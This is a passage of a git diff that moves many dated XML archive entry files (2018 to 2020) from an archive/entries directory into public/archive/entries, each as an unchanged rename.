a/archive/entries/2018-06-25-1.xml b/public/archive/entries/2018-06-25-1.xml similarity index 100% rename from archive/entries/2018-06-25-1.xml rename to public/archive/entries/2018-06-25-1.xml diff --git a/archive/entries/2018-06-25-2.xml b/public/archive/entries/2018-06-25-2.xml similarity index 100% rename from archive/entries/2018-06-25-2.xml rename to public/archive/entries/2018-06-25-2.xml diff --git a/archive/entries/2018-06-25-3.xml b/public/archive/entries/2018-06-25-3.xml similarity index 100% rename from archive/entries/2018-06-25-3.xml rename to public/archive/entries/2018-06-25-3.xml diff --git a/archive/entries/2018-06-25-4.xml b/public/archive/entries/2018-06-25-4.xml similarity index 100% rename from archive/entries/2018-06-25-4.xml rename to public/archive/entries/2018-06-25-4.xml diff --git a/archive/entries/2018-06-26-1.xml b/public/archive/entries/2018-06-26-1.xml similarity index 100% rename from archive/entries/2018-06-26-1.xml rename to public/archive/entries/2018-06-26-1.xml diff --git a/archive/entries/2018-07-05-1.xml b/public/archive/entries/2018-07-05-1.xml similarity index 100% rename from archive/entries/2018-07-05-1.xml rename to public/archive/entries/2018-07-05-1.xml diff --git a/archive/entries/2018-07-19-1.xml b/public/archive/entries/2018-07-19-1.xml similarity index 100% rename from archive/entries/2018-07-19-1.xml rename to public/archive/entries/2018-07-19-1.xml diff --git a/archive/entries/2018-07-19-2.xml b/public/archive/entries/2018-07-19-2.xml similarity index 100% rename from archive/entries/2018-07-19-2.xml rename to public/archive/entries/2018-07-19-2.xml diff --git a/archive/entries/2018-07-19-3.xml b/public/archive/entries/2018-07-19-3.xml similarity index 100% rename from archive/entries/2018-07-19-3.xml rename to public/archive/entries/2018-07-19-3.xml diff --git a/archive/entries/2018-07-20-1.xml b/public/archive/entries/2018-07-20-1.xml similarity index 100% rename from archive/entries/2018-07-20-1.xml rename to public/archive/entries/2018-07-20-1.xml diff --git a/archive/entries/2018-07-20-2.xml b/public/archive/entries/2018-07-20-2.xml similarity index 100% rename from archive/entries/2018-07-20-2.xml rename to public/archive/entries/2018-07-20-2.xml diff --git a/archive/entries/2018-08-02-1.xml b/public/archive/entries/2018-08-02-1.xml similarity index 100% rename from archive/entries/2018-08-02-1.xml rename to public/archive/entries/2018-08-02-1.xml diff --git a/archive/entries/2018-08-09-1.xml b/public/archive/entries/2018-08-09-1.xml similarity index 100% rename from archive/entries/2018-08-09-1.xml rename to public/archive/entries/2018-08-09-1.xml diff --git a/archive/entries/2018-08-14-1.xml b/public/archive/entries/2018-08-14-1.xml similarity index 100% rename from archive/entries/2018-08-14-1.xml rename to public/archive/entries/2018-08-14-1.xml diff --git a/archive/entries/2018-08-16-1.xml b/public/archive/entries/2018-08-16-1.xml similarity index 100% rename from archive/entries/2018-08-16-1.xml rename to public/archive/entries/2018-08-16-1.xml diff --git a/archive/entries/2018-08-16-2.xml b/public/archive/entries/2018-08-16-2.xml similarity index 100% rename from archive/entries/2018-08-16-2.xml rename to public/archive/entries/2018-08-16-2.xml diff --git a/archive/entries/2018-08-16-3.xml b/public/archive/entries/2018-08-16-3.xml similarity index 100% rename from archive/entries/2018-08-16-3.xml rename to public/archive/entries/2018-08-16-3.xml diff --git a/archive/entries/2018-08-17-1.xml b/public/archive/entries/2018-08-17-1.xml similarity index 100% rename from archive/entries/2018-08-17-1.xml rename to public/archive/entries/2018-08-17-1.xml diff --git a/archive/entries/2018-08-21-1.xml b/public/archive/entries/2018-08-21-1.xml similarity index 100% rename from archive/entries/2018-08-21-1.xml rename to public/archive/entries/2018-08-21-1.xml diff --git a/archive/entries/2018-08-28-1.xml b/public/archive/entries/2018-08-28-1.xml similarity index 100% rename from archive/entries/2018-08-28-1.xml rename to public/archive/entries/2018-08-28-1.xml diff --git a/archive/entries/2018-08-30-1.xml b/public/archive/entries/2018-08-30-1.xml similarity index 100% rename from archive/entries/2018-08-30-1.xml rename to public/archive/entries/2018-08-30-1.xml diff --git a/archive/entries/2018-09-03-1.xml b/public/archive/entries/2018-09-03-1.xml similarity index 100% rename from archive/entries/2018-09-03-1.xml rename to public/archive/entries/2018-09-03-1.xml diff --git a/archive/entries/2018-09-13-1.xml b/public/archive/entries/2018-09-13-1.xml similarity index 100% rename from archive/entries/2018-09-13-1.xml rename to public/archive/entries/2018-09-13-1.xml diff --git a/archive/entries/2018-09-13-2.xml b/public/archive/entries/2018-09-13-2.xml similarity index 100% rename from archive/entries/2018-09-13-2.xml rename to public/archive/entries/2018-09-13-2.xml diff --git a/archive/entries/2018-09-13-3.xml b/public/archive/entries/2018-09-13-3.xml similarity index 100% rename from archive/entries/2018-09-13-3.xml rename to public/archive/entries/2018-09-13-3.xml diff --git a/archive/entries/2018-09-13-4.xml b/public/archive/entries/2018-09-13-4.xml similarity index 100% rename from archive/entries/2018-09-13-4.xml rename to public/archive/entries/2018-09-13-4.xml diff --git a/archive/entries/2018-09-13-5.xml b/public/archive/entries/2018-09-13-5.xml similarity index 100% rename from archive/entries/2018-09-13-5.xml rename to public/archive/entries/2018-09-13-5.xml diff --git a/archive/entries/2018-09-28-1.xml b/public/archive/entries/2018-09-28-1.xml similarity index 100% rename from archive/entries/2018-09-28-1.xml rename to public/archive/entries/2018-09-28-1.xml diff --git a/archive/entries/2018-10-11-1.xml b/public/archive/entries/2018-10-11-1.xml similarity index 100% rename from archive/entries/2018-10-11-1.xml rename to public/archive/entries/2018-10-11-1.xml diff --git a/archive/entries/2018-10-11-2.xml b/public/archive/entries/2018-10-11-2.xml similarity index 100% rename from archive/entries/2018-10-11-2.xml rename to public/archive/entries/2018-10-11-2.xml diff --git a/archive/entries/2018-10-11-3.xml b/public/archive/entries/2018-10-11-3.xml similarity index 100% rename from archive/entries/2018-10-11-3.xml rename to public/archive/entries/2018-10-11-3.xml diff --git a/archive/entries/2018-10-12-1.xml b/public/archive/entries/2018-10-12-1.xml similarity index 100% rename from archive/entries/2018-10-12-1.xml rename to public/archive/entries/2018-10-12-1.xml diff --git a/archive/entries/2018-10-12-2.xml b/public/archive/entries/2018-10-12-2.xml similarity index 100% rename from archive/entries/2018-10-12-2.xml rename to public/archive/entries/2018-10-12-2.xml diff --git a/archive/entries/2018-10-25-1.xml b/public/archive/entries/2018-10-25-1.xml similarity index 100% rename from archive/entries/2018-10-25-1.xml rename to public/archive/entries/2018-10-25-1.xml diff --git a/archive/entries/2018-11-08-1.xml b/public/archive/entries/2018-11-08-1.xml similarity index 100% rename from archive/entries/2018-11-08-1.xml rename to public/archive/entries/2018-11-08-1.xml diff --git a/archive/entries/2018-11-08-2.xml b/public/archive/entries/2018-11-08-2.xml similarity index 100% rename from archive/entries/2018-11-08-2.xml rename to public/archive/entries/2018-11-08-2.xml diff --git a/archive/entries/2018-11-08-3.xml b/public/archive/entries/2018-11-08-3.xml similarity index 100% rename from archive/entries/2018-11-08-3.xml rename to public/archive/entries/2018-11-08-3.xml diff --git a/archive/entries/2018-11-20-1.xml b/public/archive/entries/2018-11-20-1.xml similarity index 100% rename from archive/entries/2018-11-20-1.xml rename to public/archive/entries/2018-11-20-1.xml diff --git a/archive/entries/2018-11-20-2.xml b/public/archive/entries/2018-11-20-2.xml similarity index 100% rename from archive/entries/2018-11-20-2.xml rename to public/archive/entries/2018-11-20-2.xml diff --git a/archive/entries/2018-11-22-1.xml b/public/archive/entries/2018-11-22-1.xml similarity index 100% rename from archive/entries/2018-11-22-1.xml rename to public/archive/entries/2018-11-22-1.xml diff --git a/archive/entries/2018-12-06-1.xml b/public/archive/entries/2018-12-06-1.xml similarity index 100% rename from archive/entries/2018-12-06-1.xml rename to public/archive/entries/2018-12-06-1.xml diff --git a/archive/entries/2018-12-06-2.xml b/public/archive/entries/2018-12-06-2.xml similarity index 100% rename from archive/entries/2018-12-06-2.xml rename to public/archive/entries/2018-12-06-2.xml diff --git a/archive/entries/2018-12-06-3.xml b/public/archive/entries/2018-12-06-3.xml similarity index 100% rename from archive/entries/2018-12-06-3.xml rename to public/archive/entries/2018-12-06-3.xml diff --git a/archive/entries/2018-12-06-4.xml b/public/archive/entries/2018-12-06-4.xml similarity index 100% rename from archive/entries/2018-12-06-4.xml rename to public/archive/entries/2018-12-06-4.xml diff --git a/archive/entries/2018-12-06-5.xml b/public/archive/entries/2018-12-06-5.xml similarity index 100% rename from archive/entries/2018-12-06-5.xml rename to public/archive/entries/2018-12-06-5.xml diff --git a/archive/entries/2018-12-10-1.xml b/public/archive/entries/2018-12-10-1.xml similarity index 100% rename from archive/entries/2018-12-10-1.xml rename to public/archive/entries/2018-12-10-1.xml diff --git a/archive/entries/2018-12-15-1.xml b/public/archive/entries/2018-12-15-1.xml similarity index 100% rename from archive/entries/2018-12-15-1.xml rename to public/archive/entries/2018-12-15-1.xml diff --git a/archive/entries/2019-01-10-1.xml b/public/archive/entries/2019-01-10-1.xml similarity index 100% rename from archive/entries/2019-01-10-1.xml rename to public/archive/entries/2019-01-10-1.xml diff --git a/archive/entries/2019-01-10-2.xml b/public/archive/entries/2019-01-10-2.xml similarity index 100% rename from archive/entries/2019-01-10-2.xml rename to public/archive/entries/2019-01-10-2.xml diff --git a/archive/entries/2019-01-10-3.xml b/public/archive/entries/2019-01-10-3.xml similarity index 100% rename from archive/entries/2019-01-10-3.xml rename to public/archive/entries/2019-01-10-3.xml diff --git a/archive/entries/2019-01-10-4.xml b/public/archive/entries/2019-01-10-4.xml similarity index 100% rename from archive/entries/2019-01-10-4.xml rename to public/archive/entries/2019-01-10-4.xml diff --git a/archive/entries/2019-01-15-1.xml b/public/archive/entries/2019-01-15-1.xml similarity index 100% rename from archive/entries/2019-01-15-1.xml rename to public/archive/entries/2019-01-15-1.xml diff --git a/archive/entries/2019-01-22-1.xml b/public/archive/entries/2019-01-22-1.xml similarity index 100% rename from archive/entries/2019-01-22-1.xml rename to public/archive/entries/2019-01-22-1.xml diff --git a/archive/entries/2019-01-29-1.xml b/public/archive/entries/2019-01-29-1.xml similarity index 100% rename from archive/entries/2019-01-29-1.xml rename to public/archive/entries/2019-01-29-1.xml diff --git a/archive/entries/2019-01-31-1.xml b/public/archive/entries/2019-01-31-1.xml similarity index 100% rename from archive/entries/2019-01-31-1.xml rename to public/archive/entries/2019-01-31-1.xml diff --git a/archive/entries/2019-02-01-1.xml b/public/archive/entries/2019-02-01-1.xml similarity index 100% rename from archive/entries/2019-02-01-1.xml rename to public/archive/entries/2019-02-01-1.xml diff --git a/archive/entries/2019-02-06-1.xml b/public/archive/entries/2019-02-06-1.xml similarity index 100% rename from archive/entries/2019-02-06-1.xml rename to public/archive/entries/2019-02-06-1.xml diff --git a/archive/entries/2019-02-07-1.xml b/public/archive/entries/2019-02-07-1.xml similarity index 100% rename from archive/entries/2019-02-07-1.xml rename to public/archive/entries/2019-02-07-1.xml diff --git a/archive/entries/2019-02-07-2.xml b/public/archive/entries/2019-02-07-2.xml similarity index 100% rename from archive/entries/2019-02-07-2.xml rename to public/archive/entries/2019-02-07-2.xml diff --git a/archive/entries/2019-02-07-3.xml b/public/archive/entries/2019-02-07-3.xml similarity index 100% rename from archive/entries/2019-02-07-3.xml rename to public/archive/entries/2019-02-07-3.xml diff --git a/archive/entries/2019-02-14-1.xml b/public/archive/entries/2019-02-14-1.xml similarity index 100% rename from archive/entries/2019-02-14-1.xml rename to public/archive/entries/2019-02-14-1.xml diff --git a/archive/entries/2019-03-03-1.xml b/public/archive/entries/2019-03-03-1.xml similarity index 100% rename from archive/entries/2019-03-03-1.xml rename to public/archive/entries/2019-03-03-1.xml diff --git a/archive/entries/2019-03-07-1.xml b/public/archive/entries/2019-03-07-1.xml similarity index 100% rename from archive/entries/2019-03-07-1.xml rename to public/archive/entries/2019-03-07-1.xml diff --git a/archive/entries/2019-03-07-2.xml b/public/archive/entries/2019-03-07-2.xml similarity index 100% rename from archive/entries/2019-03-07-2.xml rename to public/archive/entries/2019-03-07-2.xml diff --git a/archive/entries/2019-03-07-3.xml b/public/archive/entries/2019-03-07-3.xml similarity index 100% rename from archive/entries/2019-03-07-3.xml rename to public/archive/entries/2019-03-07-3.xml diff --git a/archive/entries/2019-03-11-1.xml b/public/archive/entries/2019-03-11-1.xml similarity index 100% rename from archive/entries/2019-03-11-1.xml rename to public/archive/entries/2019-03-11-1.xml diff --git a/archive/entries/2019-03-11-2.xml b/public/archive/entries/2019-03-11-2.xml similarity index 100% rename from archive/entries/2019-03-11-2.xml rename to public/archive/entries/2019-03-11-2.xml diff --git a/archive/entries/2019-03-12-1.xml b/public/archive/entries/2019-03-12-1.xml similarity index 100% rename from archive/entries/2019-03-12-1.xml rename to public/archive/entries/2019-03-12-1.xml diff --git a/archive/entries/2019-03-12-2.xml b/public/archive/entries/2019-03-12-2.xml similarity index 100% rename from archive/entries/2019-03-12-2.xml rename to public/archive/entries/2019-03-12-2.xml diff --git a/archive/entries/2019-03-12-3.xml b/public/archive/entries/2019-03-12-3.xml similarity index 100% rename from archive/entries/2019-03-12-3.xml rename to public/archive/entries/2019-03-12-3.xml diff --git a/archive/entries/2019-03-13-1.xml b/public/archive/entries/2019-03-13-1.xml similarity index 100% rename from archive/entries/2019-03-13-1.xml rename to public/archive/entries/2019-03-13-1.xml diff --git a/archive/entries/2019-03-23-1.xml b/public/archive/entries/2019-03-23-1.xml similarity index 100% rename from archive/entries/2019-03-23-1.xml rename to public/archive/entries/2019-03-23-1.xml diff --git a/archive/entries/2019-04-02-1.xml b/public/archive/entries/2019-04-02-1.xml similarity index 100% rename from archive/entries/2019-04-02-1.xml rename to public/archive/entries/2019-04-02-1.xml diff --git a/archive/entries/2019-04-02-2.xml b/public/archive/entries/2019-04-02-2.xml similarity index 100% rename from archive/entries/2019-04-02-2.xml rename to public/archive/entries/2019-04-02-2.xml diff --git a/archive/entries/2019-04-02-3.xml b/public/archive/entries/2019-04-02-3.xml similarity index 100% rename from archive/entries/2019-04-02-3.xml rename to public/archive/entries/2019-04-02-3.xml diff --git a/archive/entries/2019-04-02-4.xml b/public/archive/entries/2019-04-02-4.xml similarity index 100% rename from archive/entries/2019-04-02-4.xml rename to public/archive/entries/2019-04-02-4.xml diff --git a/archive/entries/2019-04-02-5.xml b/public/archive/entries/2019-04-02-5.xml similarity index 100% rename from archive/entries/2019-04-02-5.xml rename to public/archive/entries/2019-04-02-5.xml diff --git a/archive/entries/2019-04-02-6.xml b/public/archive/entries/2019-04-02-6.xml similarity index 100% rename from archive/entries/2019-04-02-6.xml rename to public/archive/entries/2019-04-02-6.xml diff --git a/archive/entries/2019-04-04-1.xml b/public/archive/entries/2019-04-04-1.xml similarity index 100% rename from archive/entries/2019-04-04-1.xml rename to public/archive/entries/2019-04-04-1.xml diff --git a/archive/entries/2019-04-04-2.xml b/public/archive/entries/2019-04-04-2.xml similarity index 100% rename from archive/entries/2019-04-04-2.xml rename to public/archive/entries/2019-04-04-2.xml diff --git a/archive/entries/2019-04-04-3.xml b/public/archive/entries/2019-04-04-3.xml similarity index 100% rename from archive/entries/2019-04-04-3.xml rename to public/archive/entries/2019-04-04-3.xml diff --git a/archive/entries/2019-04-04-4.xml b/public/archive/entries/2019-04-04-4.xml similarity index 100% rename from archive/entries/2019-04-04-4.xml rename to public/archive/entries/2019-04-04-4.xml diff --git a/archive/entries/2019-04-16-1.xml b/public/archive/entries/2019-04-16-1.xml similarity index 100% rename from archive/entries/2019-04-16-1.xml rename to public/archive/entries/2019-04-16-1.xml diff --git a/archive/entries/2019-05-02-1.xml b/public/archive/entries/2019-05-02-1.xml similarity index 100% rename from archive/entries/2019-05-02-1.xml rename to public/archive/entries/2019-05-02-1.xml diff --git a/archive/entries/2019-05-02-2.xml b/public/archive/entries/2019-05-02-2.xml similarity index 100% rename from archive/entries/2019-05-02-2.xml rename to public/archive/entries/2019-05-02-2.xml diff --git a/archive/entries/2019-05-03-1.xml b/public/archive/entries/2019-05-03-1.xml similarity index 100% rename from archive/entries/2019-05-03-1.xml rename to public/archive/entries/2019-05-03-1.xml diff --git a/archive/entries/2019-05-08-1.xml b/public/archive/entries/2019-05-08-1.xml similarity index 100% rename from archive/entries/2019-05-08-1.xml rename to public/archive/entries/2019-05-08-1.xml diff --git a/archive/entries/2019-05-10-1.xml b/public/archive/entries/2019-05-10-1.xml similarity index 100% rename from archive/entries/2019-05-10-1.xml rename to public/archive/entries/2019-05-10-1.xml diff --git a/archive/entries/2019-05-27-1.xml b/public/archive/entries/2019-05-27-1.xml similarity index 100% rename from archive/entries/2019-05-27-1.xml rename to public/archive/entries/2019-05-27-1.xml diff --git a/archive/entries/2019-05-29-1.xml b/public/archive/entries/2019-05-29-1.xml similarity index 100% rename from archive/entries/2019-05-29-1.xml rename to public/archive/entries/2019-05-29-1.xml diff --git a/archive/entries/2019-05-30-1.xml b/public/archive/entries/2019-05-30-1.xml similarity index 100% rename from archive/entries/2019-05-30-1.xml rename to public/archive/entries/2019-05-30-1.xml diff --git a/archive/entries/2019-05-30-2.xml b/public/archive/entries/2019-05-30-2.xml similarity index 100% rename from archive/entries/2019-05-30-2.xml rename to public/archive/entries/2019-05-30-2.xml diff --git a/archive/entries/2019-05-30-3.xml b/public/archive/entries/2019-05-30-3.xml similarity index 100% rename from archive/entries/2019-05-30-3.xml rename to public/archive/entries/2019-05-30-3.xml diff --git a/archive/entries/2019-06-07-1.xml b/public/archive/entries/2019-06-07-1.xml similarity index 100% rename from archive/entries/2019-06-07-1.xml rename to public/archive/entries/2019-06-07-1.xml diff --git a/archive/entries/2019-06-13-1.xml b/public/archive/entries/2019-06-13-1.xml similarity index 100% rename from archive/entries/2019-06-13-1.xml rename to public/archive/entries/2019-06-13-1.xml diff --git a/archive/entries/2019-06-19-1.xml b/public/archive/entries/2019-06-19-1.xml similarity index 100% rename from archive/entries/2019-06-19-1.xml rename to public/archive/entries/2019-06-19-1.xml diff --git a/archive/entries/2019-06-24-1.xml b/public/archive/entries/2019-06-24-1.xml similarity index 100% rename from archive/entries/2019-06-24-1.xml rename to public/archive/entries/2019-06-24-1.xml diff --git a/archive/entries/2019-06-26-1.xml b/public/archive/entries/2019-06-26-1.xml similarity index 100% rename from archive/entries/2019-06-26-1.xml rename to public/archive/entries/2019-06-26-1.xml diff --git a/archive/entries/2019-07-04-1.xml b/public/archive/entries/2019-07-04-1.xml similarity index 100% rename from archive/entries/2019-07-04-1.xml rename to public/archive/entries/2019-07-04-1.xml diff --git a/archive/entries/2019-07-04-2.xml b/public/archive/entries/2019-07-04-2.xml similarity index 100% rename from archive/entries/2019-07-04-2.xml rename to public/archive/entries/2019-07-04-2.xml diff --git a/archive/entries/2019-07-10-1.xml b/public/archive/entries/2019-07-10-1.xml similarity index 100% rename from archive/entries/2019-07-10-1.xml rename to public/archive/entries/2019-07-10-1.xml diff --git a/archive/entries/2019-07-11-1.xml b/public/archive/entries/2019-07-11-1.xml similarity index 100% rename from archive/entries/2019-07-11-1.xml rename to public/archive/entries/2019-07-11-1.xml diff --git a/archive/entries/2019-07-17-1.xml b/public/archive/entries/2019-07-17-1.xml similarity index 100% rename from archive/entries/2019-07-17-1.xml rename to public/archive/entries/2019-07-17-1.xml diff --git a/archive/entries/2019-07-25-1.xml b/public/archive/entries/2019-07-25-1.xml similarity index 100% rename from archive/entries/2019-07-25-1.xml rename to public/archive/entries/2019-07-25-1.xml diff --git a/archive/entries/2019-07-31-1.xml b/public/archive/entries/2019-07-31-1.xml similarity index 100% rename from archive/entries/2019-07-31-1.xml rename to public/archive/entries/2019-07-31-1.xml diff --git a/archive/entries/2019-07-31-2.xml b/public/archive/entries/2019-07-31-2.xml similarity index 100% rename from archive/entries/2019-07-31-2.xml rename to public/archive/entries/2019-07-31-2.xml diff --git a/archive/entries/2019-08-01-1.xml b/public/archive/entries/2019-08-01-1.xml similarity index 100% rename from archive/entries/2019-08-01-1.xml rename to public/archive/entries/2019-08-01-1.xml diff --git a/archive/entries/2019-08-01-2.xml b/public/archive/entries/2019-08-01-2.xml similarity index 100% rename from archive/entries/2019-08-01-2.xml rename to public/archive/entries/2019-08-01-2.xml diff --git a/archive/entries/2019-08-01-3.xml b/public/archive/entries/2019-08-01-3.xml similarity index 100% rename from archive/entries/2019-08-01-3.xml rename to public/archive/entries/2019-08-01-3.xml diff --git a/archive/entries/2019-08-08-1.xml b/public/archive/entries/2019-08-08-1.xml similarity index 100% rename from archive/entries/2019-08-08-1.xml rename to public/archive/entries/2019-08-08-1.xml diff --git a/archive/entries/2019-08-08-2.xml b/public/archive/entries/2019-08-08-2.xml similarity index 100% rename from archive/entries/2019-08-08-2.xml rename to public/archive/entries/2019-08-08-2.xml diff --git a/archive/entries/2019-08-08-3.xml b/public/archive/entries/2019-08-08-3.xml similarity index 100% rename from archive/entries/2019-08-08-3.xml rename to public/archive/entries/2019-08-08-3.xml diff --git a/archive/entries/2019-08-12-1.xml b/public/archive/entries/2019-08-12-1.xml similarity index 100% rename from archive/entries/2019-08-12-1.xml rename to public/archive/entries/2019-08-12-1.xml diff --git a/archive/entries/2019-08-17-1.xml b/public/archive/entries/2019-08-17-1.xml similarity index 100% rename from archive/entries/2019-08-17-1.xml rename to public/archive/entries/2019-08-17-1.xml diff --git a/archive/entries/2019-08-22-1.xml b/public/archive/entries/2019-08-22-1.xml similarity index 100% rename from archive/entries/2019-08-22-1.xml rename to public/archive/entries/2019-08-22-1.xml diff --git a/archive/entries/2019-08-29-1.xml b/public/archive/entries/2019-08-29-1.xml similarity index 100% rename from archive/entries/2019-08-29-1.xml rename to public/archive/entries/2019-08-29-1.xml diff --git a/archive/entries/2019-08-29-2.xml b/public/archive/entries/2019-08-29-2.xml similarity index 100% rename from archive/entries/2019-08-29-2.xml rename to public/archive/entries/2019-08-29-2.xml diff --git a/archive/entries/2019-08-30-1.xml b/public/archive/entries/2019-08-30-1.xml similarity index 100% rename from archive/entries/2019-08-30-1.xml rename to public/archive/entries/2019-08-30-1.xml diff --git a/archive/entries/2019-09-05-1.xml b/public/archive/entries/2019-09-05-1.xml similarity index 100% rename from archive/entries/2019-09-05-1.xml rename to public/archive/entries/2019-09-05-1.xml diff --git a/archive/entries/2019-09-17-1.xml b/public/archive/entries/2019-09-17-1.xml similarity index 100% rename from archive/entries/2019-09-17-1.xml rename to public/archive/entries/2019-09-17-1.xml diff --git a/archive/entries/2019-09-19-1.xml b/public/archive/entries/2019-09-19-1.xml similarity index 100% rename from archive/entries/2019-09-19-1.xml rename to public/archive/entries/2019-09-19-1.xml diff --git a/archive/entries/2019-09-26-1.xml b/public/archive/entries/2019-09-26-1.xml similarity index 100% rename from archive/entries/2019-09-26-1.xml rename to public/archive/entries/2019-09-26-1.xml diff --git a/archive/entries/2019-09-26-2.xml b/public/archive/entries/2019-09-26-2.xml similarity index 100% rename from archive/entries/2019-09-26-2.xml rename to public/archive/entries/2019-09-26-2.xml diff --git a/archive/entries/2019-10-02-1.xml b/public/archive/entries/2019-10-02-1.xml similarity index 100% rename from archive/entries/2019-10-02-1.xml rename to public/archive/entries/2019-10-02-1.xml diff --git a/archive/entries/2019-10-03-1.xml b/public/archive/entries/2019-10-03-1.xml similarity index 100% rename from archive/entries/2019-10-03-1.xml rename to public/archive/entries/2019-10-03-1.xml diff --git a/archive/entries/2019-10-18-1.xml b/public/archive/entries/2019-10-18-1.xml similarity index 100% rename from archive/entries/2019-10-18-1.xml rename to public/archive/entries/2019-10-18-1.xml diff --git a/archive/entries/2019-10-24-1.xml b/public/archive/entries/2019-10-24-1.xml similarity index 100% rename from archive/entries/2019-10-24-1.xml rename to public/archive/entries/2019-10-24-1.xml diff --git a/archive/entries/2019-10-24-2.xml b/public/archive/entries/2019-10-24-2.xml similarity index 100% rename from archive/entries/2019-10-24-2.xml rename to public/archive/entries/2019-10-24-2.xml diff --git a/archive/entries/2019-10-24-3.xml b/public/archive/entries/2019-10-24-3.xml similarity index 100% rename from archive/entries/2019-10-24-3.xml rename to public/archive/entries/2019-10-24-3.xml diff --git a/archive/entries/2019-10-26-1.xml b/public/archive/entries/2019-10-26-1.xml similarity index 100% rename from archive/entries/2019-10-26-1.xml rename to public/archive/entries/2019-10-26-1.xml diff --git a/archive/entries/2019-10-31-1.xml b/public/archive/entries/2019-10-31-1.xml similarity index 100% rename from archive/entries/2019-10-31-1.xml rename to public/archive/entries/2019-10-31-1.xml diff --git a/archive/entries/2019-10-31-2.xml b/public/archive/entries/2019-10-31-2.xml similarity index 100% rename from archive/entries/2019-10-31-2.xml rename to public/archive/entries/2019-10-31-2.xml diff --git a/archive/entries/2019-11-06-1.xml b/public/archive/entries/2019-11-06-1.xml similarity index 100% rename from archive/entries/2019-11-06-1.xml rename to public/archive/entries/2019-11-06-1.xml diff --git a/archive/entries/2019-11-14-1.xml b/public/archive/entries/2019-11-14-1.xml similarity index 100% rename from archive/entries/2019-11-14-1.xml rename to public/archive/entries/2019-11-14-1.xml diff --git a/archive/entries/2019-11-21-1.xml b/public/archive/entries/2019-11-21-1.xml similarity index 100% rename from archive/entries/2019-11-21-1.xml rename to public/archive/entries/2019-11-21-1.xml diff --git a/archive/entries/2019-11-21-2.xml b/public/archive/entries/2019-11-21-2.xml similarity index 100% rename from archive/entries/2019-11-21-2.xml rename to public/archive/entries/2019-11-21-2.xml diff --git a/archive/entries/2019-11-27-1.xml b/public/archive/entries/2019-11-27-1.xml similarity index 100% rename from archive/entries/2019-11-27-1.xml rename to public/archive/entries/2019-11-27-1.xml diff --git a/archive/entries/2019-11-28-1.xml b/public/archive/entries/2019-11-28-1.xml similarity index 100% rename from archive/entries/2019-11-28-1.xml rename to public/archive/entries/2019-11-28-1.xml diff --git a/archive/entries/2019-12-12-1.xml b/public/archive/entries/2019-12-12-1.xml similarity index 100% rename from archive/entries/2019-12-12-1.xml rename to public/archive/entries/2019-12-12-1.xml diff --git a/archive/entries/2019-12-18-1.xml b/public/archive/entries/2019-12-18-1.xml similarity index 100% rename from archive/entries/2019-12-18-1.xml rename to public/archive/entries/2019-12-18-1.xml diff --git a/archive/entries/2019-12-18-2.xml b/public/archive/entries/2019-12-18-2.xml similarity index 100% rename from archive/entries/2019-12-18-2.xml rename to public/archive/entries/2019-12-18-2.xml diff --git a/archive/entries/2019-12-18-3.xml b/public/archive/entries/2019-12-18-3.xml similarity index 100% rename from archive/entries/2019-12-18-3.xml rename to public/archive/entries/2019-12-18-3.xml diff --git a/archive/entries/2019-12-18-4.xml b/public/archive/entries/2019-12-18-4.xml similarity index 100% rename from archive/entries/2019-12-18-4.xml rename to public/archive/entries/2019-12-18-4.xml diff --git a/archive/entries/2019-12-20-1.xml b/public/archive/entries/2019-12-20-1.xml similarity index 100% rename from archive/entries/2019-12-20-1.xml rename to public/archive/entries/2019-12-20-1.xml diff --git a/archive/entries/2019-12-20-2.xml b/public/archive/entries/2019-12-20-2.xml similarity index 100% rename from archive/entries/2019-12-20-2.xml rename to public/archive/entries/2019-12-20-2.xml diff --git a/archive/entries/2020-01-11-1.xml b/public/archive/entries/2020-01-11-1.xml similarity index 100% rename from archive/entries/2020-01-11-1.xml rename to public/archive/entries/2020-01-11-1.xml diff --git a/archive/entries/2020-01-12-1.xml b/public/archive/entries/2020-01-12-1.xml similarity index 100% rename from archive/entries/2020-01-12-1.xml rename to public/archive/entries/2020-01-12-1.xml diff --git a/archive/entries/2020-01-12-2.xml b/public/archive/entries/2020-01-12-2.xml similarity index 100% rename from archive/entries/2020-01-12-2.xml rename to public/archive/entries/2020-01-12-2.xml diff --git a/archive/entries/2020-01-17-1.xml b/public/archive/entries/2020-01-17-1.xml similarity index 100% rename from archive/entries/2020-01-17-1.xml rename to public/archive/entries/2020-01-17-1.xml diff --git a/archive/entries/2020-01-23-1.xml b/public/archive/entries/2020-01-23-1.xml similarity index 100% rename from archive/entries/2020-01-23-1.xml rename to public/archive/entries/2020-01-23-1.xml diff --git a/archive/entries/2020-01-23-2.xml b/public/archive/entries/2020-01-23-2.xml similarity index 100% rename from archive/entries/2020-01-23-2.xml rename to public/archive/entries/2020-01-23-2.xml diff --git a/archive/entries/2020-01-23-3.xml b/public/archive/entries/2020-01-23-3.xml similarity index 100% rename from archive/entries/2020-01-23-3.xml rename to public/archive/entries/2020-01-23-3.xml diff --git a/archive/entries/2020-01-30-1.xml b/public/archive/entries/2020-01-30-1.xml similarity index 100% rename from archive/entries/2020-01-30-1.xml rename to public/archive/entries/2020-01-30-1.xml diff --git a/archive/entries/2020-02-17-1.xml b/public/archive/entries/2020-02-17-1.xml similarity index 100% rename from archive/entries/2020-02-17-1.xml rename to public/archive/entries/2020-02-17-1.xml diff --git a/archive/entries/2020-02-20-1.xml b/public/archive/entries/2020-02-20-1.xml similarity index 100% rename from archive/entries/2020-02-20-1.xml rename to public/archive/entries/2020-02-20-1.xml diff --git a/archive/entries/2020-02-20-2.xml b/public/archive/entries/2020-02-20-2.xml similarity index 100% rename from archive/entries/2020-02-20-2.xml rename to public/archive/entries/2020-02-20-2.xml diff --git a/archive/entries/2020-02-20-3.xml b/public/archive/entries/2020-02-20-3.xml similarity index 100% rename from archive/entries/2020-02-20-3.xml rename to public/archive/entries/2020-02-20-3.xml diff --git a/archive/entries/2020-03-19-1.xml b/public/archive/entries/2020-03-19-1.xml similarity index 100% rename from archive/entries/2020-03-19-1.xml rename to public/archive/entries/2020-03-19-1.xml diff --git a/archive/entries/2020-03-19-2.xml b/public/archive/entries/2020-03-19-2.xml similarity index 100% rename from archive/entries/2020-03-19-2.xml rename to public/archive/entries/2020-03-19-2.xml diff --git a/archive/entries/2020-03-19-3.xml b/public/archive/entries/2020-03-19-3.xml similarity index 100% rename from archive/entries/2020-03-19-3.xml rename to public/archive/entries/2020-03-19-3.xml diff --git a/archive/entries/2020-04-14-1.xml b/public/archive/entries/2020-04-14-1.xml similarity index 100% rename from archive/entries/2020-04-14-1.xml rename to public/archive/entries/2020-04-14-1.xml diff --git a/archive/entries/2020-04-16-1.xml 